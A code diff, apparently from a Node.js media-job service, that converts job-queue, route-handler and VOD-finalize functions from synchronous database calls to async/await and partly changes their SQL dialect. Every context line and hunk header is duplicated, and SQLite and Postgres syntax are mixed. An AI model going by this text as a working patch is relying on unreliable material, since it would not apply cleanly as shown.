* held false = this claim lost the job (refused as stale; the worker aborts its handler).
*/
*/
-function renew(id, opts = {}) {
+async function renew(id, opts = {}) {
const fence = holder(opts, 'renew', id);
const fence = holder(opts, 'renew', id);
const leaseS = opts.leaseS == null ? 120 : opts.leaseS;
const leaseS = opts.leaseS == null ? 120 : opts.leaseS;
- const held = db.run(`UPDATE media_jobs SET lease_until = datetime('now', '+${Math.round(leaseS)} seconds')
- WHERE id = ? AND status = 'running' AND lease_token IS ?`, [id, fence.token == null ? null : String(fence.token)]).changes > 0;
- if (!held) refuseStale('renew', id);
- const row = get(id);
+ const held = (await db.run(`UPDATE media_jobs SET lease_until = datetime('now', '+${Math.round(leaseS)} seconds')
+ WHERE id = ? AND status = 'running' AND lease_token IS NOT DISTINCT FROM ?`, [id, fence.token == null ? null : String(fence.token)])).changes > 0;
+ if (!held) await refuseStale('renew', id);
+ const row = await get(id);
return { running: !!row && row.status === 'running', held, cancelRequested: !!(row && row.cancel_requested) };
return { running: !!row && row.status === 'running', held, cancelRequested: !!(row && row.cancel_requested) };
}
}
@@ -352,31 +355,31 @@ function renew(id, opts = {}) {
@@ -352,31 +355,31 @@ function renew(id, opts = {}) {
* became). With `{ token }` (the worker) only the job's holder may: a stale holder's checkpoint and
* became). With `{ token }` (the worker) only the job's holder may: a stale holder's checkpoint and
* everything alsoInTx did roll back, and it throws media.job.lease_lost.
* everything alsoInTx did roll back, and it throws media.job.lease_lost.
*/
*/
-function saveCheckpoint(id, checkpoint, alsoInTx = null, opts = null) {
+async function saveCheckpoint(id, checkpoint, alsoInTx = null, opts = null) {
const fenced = !!(opts && Object.prototype.hasOwnProperty.call(opts, 'token'));
const fenced = !!(opts && Object.prototype.hasOwnProperty.call(opts, 'token'));
let lost = false;
let lost = false;
try {
try {
- db.getDb().transaction(() => {
- if (alsoInTx) alsoInTx();
+ await db.getDb().tx(async () => {
+ if (alsoInTx) await alsoInTx();
const changes = fenced
const changes = fenced
- ? db.run("UPDATE media_jobs SET checkpoint = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND status = 'running' AND lease_token IS ?",
- [JSON.stringify(checkpoint), id, opts.token == null ? null : String(opts.token)]).changes
- : db.run('UPDATE media_jobs SET checkpoint = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?', [JSON.stringify(checkpoint), id]).changes;
+ ? (await db.run("UPDATE media_jobs SET checkpoint = ?, updated_at = ov_now() WHERE id = ? AND status = 'running' AND lease_token IS NOT DISTINCT FROM ?",
+ [JSON.stringify(checkpoint), id, opts.token == null ? null : String(opts.token)])).changes
+ : (await db.run('UPDATE media_jobs SET checkpoint = ?, updated_at = ov_now() WHERE id = ?', [JSON.stringify(checkpoint), id])).changes;
if (fenced && !changes) { lost = true; throw new JobError('media.job.lease_lost', 'This worker no longer holds the job', { permanent: true, status: 409 }); }
if (fenced && !changes) { lost = true; throw new JobError('media.job.lease_lost', 'This worker no longer holds the job', { permanent: true, status: 409 }); }
- })();
+ });
} catch (err) {
} catch (err) {
- if (lost) refuseStale('checkpoint', id);
+ if (lost) await refuseStale('checkpoint', id);
throw err;
throw err;
}
}
}
}
/** The holder's result: running → succeeded. { token } is the claim's; a stale holder is refused (null). */
/** The holder's result: running → succeeded. { token } is the claim's; a stale holder is refused (null). */
-function succeed(id, result, opts) {
+async function succeed(id, result, opts) {
const fence = holder(opts, 'succeed', id);
const fence = holder(opts, 'succeed', id);
- const row = commit(id, 'succeeded', () => update(id, 'running',
- "status = 'succeeded', result = ?, error = NULL, error_code = NULL, lease_until = NULL, lease_token = NULL, finished_at = CURRENT_TIMESTAMP",
+ const row = await commit(id, 'succeeded', async () => await update(id, 'running',
+ "status = 'succeeded', result = ?, error = NULL, error_code = NULL, lease_until = NULL, lease_token = NULL, finished_at = ov_now()",
[JSON.stringify(result ?? null)], fence));
[JSON.stringify(result ?? null)], fence));
- if (!row && !fence.takeover) refuseStale('succeed', id);
+ if (!row && !fence.takeover) await refuseStale('succeed', id);
return row;
return row;
}
}
@@ -385,30 +388,30 @@ function succeed(id, result, opts) {
@@ -385,30 +388,30 @@ function succeed(id, result, opts) {
* the claim's; a stale holder is refused (null). Recovery passes the token it read with { takeover: true }
* the claim's; a stale holder is refused (null). Recovery passes the token it read with { takeover: true }
* (and { expired: true } past boot: only while the lease is still run out).
* (and { expired: true } past boot: only while the lease is still run out).
*/
*/
-function fail(id, { message, code = null, retryInS = null, result = null, ...opts }) {
+async function fail(id, { message, code = null, retryInS = null, result = null, ...opts }) {
const fence = holder(opts, 'fail', id);
const fence = holder(opts, 'fail', id);
const msg = String(message || 'failed').slice(0, 1000);
const msg = String(message || 'failed').slice(0, 1000);
let row;
let row;
if (retryInS != null) {
if (retryInS != null) {
- row = commit(id, 'retrying', () => update(id, 'running',
+ row = await commit(id, 'retrying', async () => await update(id, 'running',
`status = 'queued', error = ?, error_code = ?, lease_until = NULL, lease_token = NULL, run_after = datetime('now', '+${Math.max(0, Math.round(retryInS))} seconds')`,
`status = 'queued', error = ?, error_code = ?, lease_until = NULL, lease_token = NULL, run_after = datetime('now', '+${Math.max(0, Math.round(retryInS))} seconds')`,
[msg, code], fence));
[msg, code], fence));
} else {
} else {
- row = commit(id, 'failed', () => update(id, 'running',
- "status = 'failed', error = ?, error_code = ?, result = COALESCE(?, result), lease_until = NULL, lease_token = NULL, finished_at = CURRENT_TIMESTAMP",
+ row = await commit(id, 'failed', async () => await update(id, 'running',
+ "status = 'failed', error = ?, error_code = ?, result = COALESCE(?, result), lease_until = NULL, lease_token = NULL, finished_at = ov_now()",
[msg, code, result == null ? null : JSON.stringify(result)], fence));
[msg, code, result == null ? null : JSON.stringify(result)], fence));
}
}
- if (!row && !fence.takeover) refuseStale('fail', id);
+ if (!row && !fence.takeover) await refuseStale('fail', id);
return row;
return row;
}
}
/** A running job that stopped because its owner cancelled it. { token } as for fail(). */
/** A running job that stopped because its owner cancelled it. { token } as for fail(). */
-function markCancelled(id, { result = null, ...opts } = {}) {
+async function markCancelled(id, { result = null, ...opts } = {}) {
const fence = holder(opts, 'cancel', id);
const fence = holder(opts, 'cancel', id);
- const row = commit(id, 'cancelled', () => update(id, 'running',
- "status = 'cancelled', error = 'cancelled by its owner', error_code = 'cancelled', result = COALESCE(?, result), lease_until = NULL, lease_token = NULL, finished_at = CURRENT_TIMESTAMP",
+ const row = await commit(id, 'cancelled', async () => await update(id, 'running',
+ "status = 'cancelled', error = 'cancelled by its owner', error_code = 'cancelled', result = COALESCE(?, result), lease_until = NULL, lease_token = NULL, finished_at = ov_now()",
[result == null ? null : JSON.stringify(result)], fence));
[result == null ? null : JSON.stringify(result)], fence));
- if (!row && !fence.takeover) refuseStale('cancel', id);
+ if (!row && !fence.takeover) await refuseStale('cancel', id);
return row;
return row;
}
}
@@ -416,8 +419,8 @@ function markCancelled(id, { result = null, ...opts } = {}) {
@@ -416,8 +419,8 @@ function markCancelled(id, { result = null, ...opts } = {}) {
* Running jobs nobody holds any more: every one at boot (`all`), otherwise those whose lease ran out.
* Running jobs nobody holds any more: every one at boot (`all`), otherwise those whose lease ran out.
* `except` = ids this process is running. Each is retried if it has attempts left, else failed.
* `except` = ids this process is running. Each is retried if it has attempts left, else failed.
*/
*/
-function recoverInterrupted({ all = false, except = new Set(), retryInS = 30 } = {}) {
- const rows = db.all(`SELECT * FROM media_jobs WHERE status = 'running'${all ? '' : " AND (lease_until IS NULL OR lease_until < datetime('now'))"}`);
+async function recoverInterrupted({ all = false, except = new Set(), retryInS = 30 } = {}) {
+ const rows = await db.all(`SELECT * FROM media_jobs WHERE status = 'running'${all ? '' : " AND (lease_until IS NULL OR lease_until < datetime('now'))"}`);
let n = 0;
let n = 0;
for (const row of rows) {
for (const row of rows) {
if (except.has(row.id)) continue;
if (except.has(row.id)) continue;
@@ -426,22 +429,22 @@ function recoverInterrupted({ all = false, except = new Set(), retryInS = 30 } =
@@ -426,22 +429,22 @@ function recoverInterrupted({ all = false, except = new Set(), retryInS = 30 } =
// a holder that renewed or finished meanwhile keeps its job.
// a holder that renewed or finished meanwhile keeps its job.
const fence = { token: row.lease_token, takeover: true, expired: !all };
const fence = { token: row.lease_token, takeover: true, expired: !all };
let done;
let done;
- if (row.cancel_requested) done = markCancelled(row.id, fence);
- else if (row.attempts < row.max_attempts) done = fail(row.id, { message: why, code: 'interrupted', retryInS, ...fence });
- else done = fail(row.id, { message: why, code: 'interrupted', ...fence });
+ if (row.cancel_requested) done = await markCancelled(row.id, fence);
+ else if (row.attempts < row.max_attempts) done = await fail(row.id, { message: why, code: 'interrupted', retryInS, ...fence });
+ else done = await fail(row.id, { message: why, code: 'interrupted', ...fence });
if (done) n++;
if (done) n++;
}
}
return n;
return n;
}
}
/** Wait until the job is finished (or `timeoutMs` passes). Resolves with the row as it is then. */
/** Wait until the job is finished (or `timeoutMs` passes). Resolves with the row as it is then. */
-function waitFor(id, timeoutMs = 60000) {
- const now = get(id);
+async function waitFor(id, timeoutMs = 60000) {
+ const now = await get(id);
if (!now || FINISHED.includes(now.status)) return Promise.resolve(now);
if (!now || FINISHED.includes(now.status)) return Promise.resolve(now);
return new Promise((resolve) => {
return new Promise((resolve) => {
const ev = `finished:${id}`;
const ev = `finished:${id}`;
- const done = (row) => { clearTimeout(t); bus.removeListener(ev, done); resolve(row || get(id)); };
- const t = setTimeout(() => done(null), timeoutMs);
+ const done = async (row) => { clearTimeout(t); bus.removeListener(ev, done); resolve(row || await get(id)); };
+ const t = setTimeout(async () => await done(null), timeoutMs);
if (t.unref) t.unref();
if (t.unref) t.unref();
bus.on(ev, done);
bus.on(ev, done);
});
});
@@ -450,7 +453,7 @@ function waitFor(id, timeoutMs = 60000) {
@@ -450,7 +453,7 @@ function waitFor(id, timeoutMs = 60000) {
// ── Reads ────────────────────────────────────────────────────
// ── Reads ────────────────────────────────────────────────────
/** Cursor list, newest first. filters: status, type, objectId, ownerUserId (acting user: own jobs + jobs on own objects). */
/** Cursor list, newest first. filters: status, type, objectId, ownerUserId (acting user: own jobs + jobs on own objects). */
-function list(appId, { status, type, objectId, cursor, limit = 50, actingUserId = null } = {}) {
+async function list(appId, { status, type, objectId, cursor, limit = 50, actingUserId = null } = {}) {
const conds = ['j.app_id = ?'], params = [appId];
const conds = ['j.app_id = ?'], params = [appId];
if (cursor) { conds.push('j.id < ?'); params.push(String(cursor)); }
if (cursor) { conds.push('j.id < ?'); params.push(String(cursor)); }
if (status) { conds.push('j.status = ?'); params.push(String(status)); }
if (status) { conds.push('j.status = ?'); params.push(String(status)); }
@@ -461,21 +464,21 @@ function list(appId, { status, type, objectId, cursor, limit = 50, actingUserId
@@ -461,21 +464,21 @@ function list(appId, { status, type, objectId, cursor, limit = 50, actingUserId
params.push(actingUserId, actingUserId);
params.push(actingUserId, actingUserId);
}
}
const n = Math.min(Math.max(parseInt(limit, 10) || 50, 1), 200);
const n = Math.min(Math.max(parseInt(limit, 10) || 50, 1), 200);
- const rows = db.all(`SELECT j.* FROM media_jobs j WHERE ${conds.join(' AND ')} ORDER BY j.id DESC LIMIT ?`, [...params, n + 1]);
+ const rows = await db.all(`SELECT j.* FROM media_jobs j WHERE ${conds.join(' AND ')} ORDER BY j.id DESC LIMIT ?`, [...params, n + 1]);
const page = rows.slice(0, n);
const page = rows.slice(0, n);
return { jobs: page, next_cursor: rows.length > n ? page[page.length - 1].id : null, limit: n };
return { jobs: page, next_cursor: rows.length > n ? page[page.length - 1].id : null, limit: n };
}
}
-function counts() {
+async function counts() {
const out = Object.fromEntries(STATUSES.map(s => [s, 0]));
const out = Object.fromEntries(STATUSES.map(s => [s, 0]));
- for (const r of db.all('SELECT status, COUNT(*) AS n FROM media_jobs GROUP BY status')) out[r.status] = r.n;
+ for (const r of await db.all('SELECT status, COUNT(*) AS n FROM media_jobs GROUP BY status')) out[r.status] = r.n;
return out;
return out;
}
}
/** Delete finished jobs of high-volume types older than `days` (thumbnail requests, scheduled hashing). Others are kept. */
/** Delete finished jobs of high-volume types older than `days` (thumbnail requests, scheduled hashing). Others are kept. */
-function prune({ days = 30, types = ['thumbnail.regenerate', 'object.hash'] } = {}) {
- return db.run(`DELETE FROM media_jobs WHERE status IN ('succeeded', 'failed', 'cancelled') AND job_type IN (${types.map(() => '?').join(', ')})
- AND finished_at < datetime('now', ?)`, [...types, `-${Math.max(1, days)} days`]).changes;
+async function prune({ days = 30, types = ['thumbnail.regenerate', 'object.hash'] } = {}) {
+ return (await db.run(`DELETE FROM media_jobs WHERE status IN ('succeeded', 'failed', 'cancelled') AND job_type IN (${types.map(() => '?').join(', ')})
+ AND finished_at < datetime('now', ?)`, [...types, `-${Math.max(1, days)} days`])).changes;
}
}
module.exports = {
module.exports = {
@@ -43,22 +43,22 @@ function who(req) {
@@ -43,22 +43,22 @@ function who(req) {
return `app:${req.appId}${req.authType === 'user' ? `:user:${req.userId}` : ''}`;
return `app:${req.appId}${req.authType === 'user' ? `:user:${req.userId}` : ''}`;
}
}
-function ownsJob(req, job) {
+async function ownsJob(req, job) {
if (req.authType !== 'user') return true;
if (req.authType !== 'user') return true;
if (job.owner_user_id != null && job.owner_user_id === req.userId) return true;
if (job.owner_user_id != null && job.owner_user_id === req.userId) return true;
- const obj = job.object_id ? model.getObject(job.object_id) : null;
+ const obj = job.object_id ? await model.getObject(job.object_id) : null;
return !!(obj && obj.owner_user_id != null && obj.owner_user_id === req.userId);
return !!(obj && obj.owner_user_id != null && obj.owner_user_id === req.userId);
}
}
-function load(req, res) {
- const job = queue.getForApp(String(req.params.jobId || ''), req.appId);
- if (!job || !ownsJob(req, job)) { problem(res, 404, 'media.job.not_found', 'No such job in this namespace'); return null; }
+async function load(req, res) {
+ const job = await queue.getForApp(String(req.params.jobId || ''), req.appId);
+ if (!job || !await ownsJob(req, job)) { problem(res, 404, 'media.job.not_found', 'No such job in this namespace'); return null; }
return job;
return job;
}
}
/** Transform is granted per namespace: the job's object's, or the tenant's root for a job with none (else answered). */
/** Transform is granted per namespace: the job's object's, or the tenant's root for a job with none (else answered). */
-function mayTransform(req, res, obj) {
- const g = namespaceGrant(req, 'transform', obj ? obj.namespace : db.rootNamespace(req.appRow));
+async function mayTransform(req, res, obj) {
+ const g = await namespaceGrant(req, 'transform', obj ? obj.namespace : db.rootNamespace(req.appRow));
if (!g.allowed) { problem(res, 403, g.code, g.reason); return false; }
if (!g.allowed) { problem(res, 403, g.code, g.reason); return false; }
return true;
return true;
}
}
@@ -75,12 +75,12 @@ function sendJobError(res, err) {
@@ -75,12 +75,12 @@ function sendJobError(res, err) {
const router = express.Router({ mergeParams: true });
const router = express.Router({ mergeParams: true });
router.use(tenantCors);
router.use(tenantCors);
-router.get('/', list, limits('media.job.list'), (req, res) => {
+router.get('/', list, limits('media.job.list'), async (req, res) => {
try {
try {
const q = req.query;
const q = req.query;
if (q.cursor && !/^mjob_[0-9A-Za-z_]{1,40}$/.test(String(q.cursor))) return problem(res, 400, 'media.job.invalid', 'Bad cursor');
if (q.cursor && !/^mjob_[0-9A-Za-z_]{1,40}$/.test(String(q.cursor))) return problem(res, 400, 'media.job.invalid', 'Bad cursor');
if (q.status && !queue.STATUSES.includes(String(q.status))) return problem(res, 400, 'media.job.invalid', `status must be one of ${queue.STATUSES.join(', ')}`);
if (q.status && !queue.STATUSES.includes(String(q.status))) return problem(res, 400, 'media.job.invalid', `status must be one of ${queue.STATUSES.join(', ')}`);
- const out = queue.list(req.appId, {
+ const out = await queue.list(req.appId, {
status: q.status, type: q.type, objectId: q.object_id, cursor: q.cursor, limit: q.limit,
status: q.status, type: q.type, objectId: q.object_id, cursor: q.cursor, limit: q.limit,
actingUserId: req.authType === 'user' ? req.userId : null,
actingUserId: req.authType === 'user' ? req.userId : null,
});
});
@@ -88,7 +88,7 @@ router.get('/', list, limits('media.job.list'), (req, res) => {
@@ -88,7 +88,7 @@ router.get('/', list, limits('media.job.list'), (req, res) => {
} catch (err) { sendJobError(res, err); }
} catch (err) { sendJobError(res, err); }
});
});
-router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {
+router.post('/', transform, limits('media.job.create', QUEUE), async (req, res) => {
try {
try {
const b = req.body || {};
const b = req.body || {};
const type = String(b.type || '');
const type = String(b.type || '');
@@ -96,7 +96,7 @@ router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {
@@ -96,7 +96,7 @@ router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {
if (!spec) return problem(res, 400, 'media.job.unknown_type', `type must be one of ${queue.typeNames().join(', ')}`);
if (!spec) return problem(res, 400, 'media.job.unknown_type', `type must be one of ${queue.typeNames().join(', ')}`);
let obj = null;
let obj = null;
if (b.object_id != null && b.object_id !== '') {
if (b.object_id != null && b.object_id !== '') {
- obj = model.resolveObject(String(b.object_id), req.appId);
+ obj = await model.resolveObject(String(b.object_id), req.appId);
if (!obj || (req.authType === 'user' && obj.visibility === 'private' && obj.owner_user_id !== req.userId)) {
if (!obj || (req.authType === 'user' && obj.visibility === 'private' && obj.owner_user_id !== req.userId)) {
return problem(res, 404, 'media.object.not_found', 'No such object in this namespace');
return problem(res, 404, 'media.object.not_found', 'No such object in this namespace');
}
}
@@ -104,14 +104,14 @@ router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {
@@ -104,14 +104,14 @@ router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {
} else if (spec.needsObject) {
} else if (spec.needsObject) {
return problem(res, 400, 'media.job.invalid', `${type} needs object_id`);
return problem(res, 400, 'media.job.invalid', `${type} needs object_id`);
}
}
- if (!mayTransform(req, res, obj)) return;
+ if (!await mayTransform(req, res, obj)) return;
if (b.params != null && (typeof b.params !== 'object' || Array.isArray(b.params) || JSON.stringify(b.params).length > 16384)) {
if (b.params != null && (typeof b.params !== 'object' || Array.isArray(b.params) || JSON.stringify(b.params).length > 16384)) {
return problem(res, 400, 'media.job.invalid', 'params must be an object of at most 16 KB');
return problem(res, 400, 'media.job.invalid', 'params must be an object of at most 16 KB');
}
}
- const params = spec.validate ? spec.validate({ appId: req.appId, obj, params: b.params || {} }) : (b.params || {});
+ const params = spec.validate ? await spec.validate({ appId: req.appId, obj, params: b.params || {} }) : (b.params || {});
const key = req.headers['idempotency-key'] || b.idempotency_key || null;
const key = req.headers['idempotency-key'] || b.idempotency_key || null;
if (key != null && !/^[\x21-\x7e]{1,200}$/.test(String(key))) return problem(res, 400, 'media.job.invalid', 'Idempotency-Key must be 1-200 visible ASCII characters');
if (key != null && !/^[\x21-\x7e]{1,200}$/.test(String(key))) return problem(res, 400, 'media.job.invalid', 'Idempotency-Key must be 1-200 visible ASCII characters');
- const r = queue.enqueue({
+ const r = await queue.enqueue({
appId: req.appId, type, objectId: obj ? obj.id : null, params, idempotencyKey: key,
appId: req.appId, type, objectId: obj ? obj.id : null, params, idempotencyKey: key,
createdBy: who(req), ownerUserId: req.authType === 'user' ? req.userId : null, maxAttempts: b.max_attempts,
createdBy: who(req), ownerUserId: req.authType === 'user' ? req.userId : null, maxAttempts: b.max_attempts,
});
});
@@ -121,28 +121,28 @@ router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {
@@ -121,28 +121,28 @@ router.post('/', transform, limits('media.job.create', QUEUE), (req, res) => {
} catch (err) { sendJobError(res, err); }
} catch (err) { sendJobError(res, err); }
});
});
-router.get('/:jobId', read, limits('media.job.read'), (req, res) => {
- const job = load(req, res);
+router.get('/:jobId', read, limits('media.job.read'), async (req, res) => {
+ const job = await load(req, res);
if (job) res.json({ job: queue.jobPublic(job) });
if (job) res.json({ job: queue.jobPublic(job) });
});
});
-router.post('/:jobId/approve', transform, limits('media.job.approve', QUEUE), (req, res) => {
+router.post('/:jobId/approve', transform, limits('media.job.approve', QUEUE), async (req, res) => {
try {
try {
- const job = load(req, res);
- if (!job || !mayTransform(req, res, job.object_id ? model.getObject(job.object_id) : null)) return;
+ const job = await load(req, res);
+ if (!job || !await mayTransform(req, res, job.object_id ? await model.getObject(job.object_id) : null)) return;
if (job.status !== 'proposed') return problem(res, 409, 'media.job.not_proposed', `The job is ${job.status}; only proposals are approved`);
if (job.status !== 'proposed') return problem(res, 409, 'media.job.not_proposed', `The job is ${job.status}; only proposals are approved`);
- const out = queue.approve(job.id, { by: who(req) });
+ const out = await queue.approve(job.id, { by: who(req) });
if (!out) return problem(res, 409, 'media.job.not_proposed', 'The job was decided meanwhile');
if (!out) return problem(res, 409, 'media.job.not_proposed', 'The job was decided meanwhile');
require('./worker').kick();
require('./worker').kick();
res.json({ job: queue.jobPublic(out) });
res.json({ job: queue.jobPublic(out) });
} catch (err) { sendJobError(res, err); }
} catch (err) { sendJobError(res, err); }
});
});
-function cancelHandler(req, res) {
+async function cancelHandler(req, res) {
try {
try {
- const job = load(req, res);
- if (!job || !mayTransform(req, res, job.object_id ? model.getObject(job.object_id) : null)) return;
- const out = queue.cancel(job.id, { by: who(req) });
+ const job = await load(req, res);
+ if (!job || !await mayTransform(req, res, job.object_id ? await model.getObject(job.object_id) : null)) return;
+ const out = await queue.cancel(job.id, { by: who(req) });
if (out.finished) return problem(res, 409, 'media.job.finished', `The job already ${out.job.status}`);
if (out.finished) return problem(res, 409, 'media.job.finished', `The job already ${out.job.status}`);
res.status(out.pending ? 202 : 200).json({ job: queue.jobPublic(out.job) });
res.status(out.pending ? 202 : 200).json({ job: queue.jobPublic(out.job) });
} catch (err) { sendJobError(res, err); }
} catch (err) { sendJobError(res, err); }
@@ -53,12 +53,12 @@ async function run(job) {
@@ -53,12 +53,12 @@ async function run(job) {
}
}
/** Queue one scan every MEDIA_ORPHAN_SCAN_DAYS (0 = never). Returns how many were queued (0 or 1). */
/** Queue one scan every MEDIA_ORPHAN_SCAN_DAYS (0 = never). Returns how many were queued (0 or 1). */
-function schedule(nowMs = Date.now()) {
+async function schedule(nowMs = Date.now()) {
const days = envInt('MEDIA_ORPHAN_SCAN_DAYS', 30);
const days = envInt('MEDIA_ORPHAN_SCAN_DAYS', 30);
if (!(days > 0)) return 0;
if (!(days > 0)) return 0;
const period = Math.floor(nowMs / (days * 86400 * 1000));
const period = Math.floor(nowMs / (days * 86400 * 1000));
try {
try {
- const r = queue.enqueue({ appId: queue.SYSTEM_APP, type: TYPE, params: {}, idempotencyKey: `${TYPE}:${days}d:${period}`, createdBy: 'system:schedule' });
+ const r = await queue.enqueue({ appId: queue.SYSTEM_APP, type: TYPE, params: {}, idempotencyKey: `${TYPE}:${days}d:${period}`, createdBy: 'system:schedule' });
return r.created ? 1 : 0;
return r.created ? 1 : 0;
} catch (err) {
} catch (err) {
console.warn(`[Jobs] could not schedule ${TYPE}: ${err.message}`);
console.warn(`[Jobs] could not schedule ${TYPE}: ${err.message}`);
@@ -28,14 +28,14 @@ function targetOf(obj, params = {}) {
@@ -28,14 +28,14 @@ function targetOf(obj, params = {}) {
return { kind, id };
return { kind, id };
}
}
-function rowOf(appId, kind, id) {
- return kind === 'vod' ? db.getVodById(id, appId) : db.getClipById(id, appId);
+async function rowOf(appId, kind, id) {
+ return kind === 'vod' ? await db.getVodById(id, appId) : await db.getClipById(id, appId);
}
}
/** Normalized params, or JobError (400). The row must exist in this tenant (and match the object when one is named). */
/** Normalized params, or JobError (400). The row must exist in this tenant (and match the object when one is named). */
-function validate({ appId, obj, params }) {
+async function validate({ appId, obj, params }) {
const t = targetOf(obj, params || {});
const t = targetOf(obj, params || {});
- const row = rowOf(appId, t.kind, t.id);
+ const row = await rowOf(appId, t.kind, t.id);
if (!row) throw new JobError('media.job.not_found', `${t.kind} ${t.id} not found`, { status: 404, permanent: true });
if (!row) throw new JobError('media.job.not_found', `${t.kind} ${t.id} not found`, { status: 404, permanent: true });
if (obj && row.object_id && row.object_id !== obj.id) throw new JobError('media.job.invalid', `the object is not ${t.kind} ${t.id}`, { permanent: true });
if (obj && row.object_id && row.object_id !== obj.id) throw new JobError('media.job.invalid', `the object is not ${t.kind} ${t.id}`, { permanent: true });
return t;
return t;
@@ -43,7 +43,7 @@ function validate({ appId, obj, params }) {
@@ -43,7 +43,7 @@ function validate({ appId, obj, params }) {
async function run(job) {
async function run(job) {
const { kind, id } = targetOf(null, job.params);
const { kind, id } = targetOf(null, job.params);
- const row = rowOf(job.app_id, kind, id);
+ const row = await rowOf(job.app_id, kind, id);
if (!row) throw new JobError('not_found', `${kind} ${id} not found`, { permanent: true });
if (!row) throw new JobError('not_found', `${kind} ${id} not found`, { permanent: true });
const thumbService = require('../thumbnails/thumbnail-service');
const thumbService = require('../thumbnails/thumbnail-service');
// A recording the health scan found empty or gone has no frame to take (five such VODs failed as
// A recording the health scan found empty or gone has no frame to take (five such VODs failed as
@@ -62,10 +62,10 @@ function vodIdOf(obj, params = {}) {
@@ -62,10 +62,10 @@ function vodIdOf(obj, params = {}) {
}
}
/** API validation: the VOD must be this tenant's (and the named object's). */
/** API validation: the VOD must be this tenant's (and the named object's). */
-function validate({ appId, obj, params }) {
+async function validate({ appId, obj, params }) {
const id = vodIdOf(obj, params || {});
const id = vodIdOf(obj, params || {});
if (!Number.isInteger(id) || id < 1) throw new JobError('media.job.invalid', 'vod.finalize needs params.vod_id (or a vod object)', { permanent: true });
if (!Number.isInteger(id) || id < 1) throw new JobError('media.job.invalid', 'vod.finalize needs params.vod_id (or a vod object)', { permanent: true });
- const vod = db.getVodById(id, appId);
+ const vod = await db.getVodById(id, appId);
if (!vod) throw new JobError('media.job.not_found', `vod ${id} not found`, { status: 404, permanent: true });
if (!vod) throw new JobError('media.job.not_found', `vod ${id} not found`, { status: 404, permanent: true });
if (obj && vod.object_id && vod.object_id !== obj.id) throw new JobError('media.job.invalid', `the object is not vod ${id}`, { permanent: true });
if (obj && vod.object_id && vod.object_id !== obj.id) throw new JobError('media.job.invalid', `the object is not vod ${id}`, { permanent: true });
return { vod_id: id };
return { vod_id: id };
@@ -81,7 +81,7 @@ function needsFinalize(vod) {
@@ -81,7 +81,7 @@ function needsFinalize(vod) {
async function run(job) {
async function run(job) {
const vodId = Number(job.params && job.params.vod_id);
const vodId = Number(job.params && job.params.vod_id);
- const vod = db.getVodById(vodId, job.app_id);
+ const vod = await db.getVodById(vodId, job.app_id);
if (!vod) return { outcome: 'skipped', vod_id: vodId, reason: 'the vod no longer exists' };
if (!vod) return { outcome: 'skipped', vod_id: vodId, reason: 'the vod no longer exists' };
const holder = busy(vodId);
const holder = busy(vodId);
if (holder === 'finalizing') throw new JobError('busy', 'a finalize of this vod is already running', { retryAfterS: 60 });
if (holder === 'finalizing') throw new JobError('busy', 'a finalize of this vod is already running', { retryAfterS: 60 });
@@ -94,7 +94,7 @@ async function run(job) {
@@ -94,7 +94,7 @@ async function run(job) {
} catch (err) {
} catch (err) {
throw new JobError('finalize_threw', `finalize failed: ${err.message}`);
throw new JobError('finalize_threw', `finalize failed: ${err.message}`);
}
}
- const after = db.getVodById(vodId, job.app_id);
+ const after = await db.getVodById(vodId, job.app_id);
if (!after) return { outcome: 'deleted', vod_id: vodId, reason: 'no media was ever written (empty or missing file)' };
if (!after) return { outcome: 'deleted', vod_id: vodId, reason: 'no media was ever written (empty or missing file)' };
if (after.is_recording) throw new JobError('busy', 'the vod is still marked recording after finalize', { retryAfterS: 60 });
if (after.is_recording) throw new JobError('busy', 'the vod is still marked recording after finalize', { retryAfterS: 60 });
const still = issuesOf(after).find(i => RETRYABLE[i]);
const still = issuesOf(after).find(i => RETRYABLE[i]);
@@ -112,11 +112,11 @@ async function run(job) {
@@ -112,11 +112,11 @@ async function run(job) {
* Queue a finalize for this VOD (joins one that is already queued or running). Never throws;
* Queue a finalize for this VOD (joins one that is already queued or running). Never throws;
* returns { job, created } or null. `reason` goes into created_by (system:vod.finalize:<reason>).
* returns { job, created } or null. `reason` goes into created_by (system:vod.finalize:<reason>).
*/
*/
-function queueFinalize(vodOrId, reason, { runAfterS = 0 } = {}) {
+async function queueFinalize(vodOrId, reason, { runAfterS = 0 } = {}) {
try {
try {
- const vod = typeof vodOrId === 'object' ? vodOrId : db.getVodById(Number(vodOrId));
+ const vod = typeof vodOrId === 'object' ? vodOrId : await db.getVodById(Number(vodOrId));
if (!vod) return null;
if (!vod) return null;
- const r = queue.enqueue({
+ const r = await queue.enqueue({
appId: vod.app_id, type: TYPE, objectId: vod.object_id || null, params: { vod_id: vod.id },
appId: vod.app_id, type: TYPE, objectId: vod.object_id || null, params: { vod_id: vod.id },
dedupeActive: true, createdBy: `system:${TYPE}:${reason}`, runAfterS,
dedupeActive: true, createdBy: `system:${TYPE}:${reason}`, runAfterS,
});
});
@@ -135,10 +135,10 @@ function queueFinalize(vodOrId, reason, { runAfterS = 0 } = {}) {
@@ -135,10 +135,10 @@ function queueFinalize(vodOrId, reason, { runAfterS = 0 } = {}) {
* Recordings left is_recording = 1 with nothing holding them. `graceMs`: the file must not have
* Recordings left is_recording = 1 with nothing holding them. `graceMs`: the file must not have
* changed for this long (a chunk upload resuming after a restart keeps writing it). Returns ids.
* changed for this long (a chunk upload resuming after a restart keeps writing it). Returns ids.
*/
*/
-function orphans({ grace = graceMs(), now = Date.now() } = {}) {
+async function orphans({ grace = graceMs(), now = Date.now() } = {}) {
const out = [];
const out = [];
// clips_only recordings too: their finalize discards them (file and row).
// clips_only recordings too: their finalize discards them (file and row).
- for (const row of db.all('SELECT id, file_path FROM vods WHERE is_recording = 1 ORDER BY id')) {
+ for (const row of await db.all('SELECT id, file_path FROM vods WHERE is_recording = 1 ORDER BY id')) {
if (busy(row.id)) continue;
if (busy(row.id)) continue;
let mtime = 0;
let mtime = 0;
try { mtime = row.file_path ? fs.statSync(row.file_path).mtimeMs : 0; } catch { mtime = 0; }
try { mtime = row.file_path ? fs.statSync(row.file_path).mtimeMs : 0; } catch { mtime = 0; }
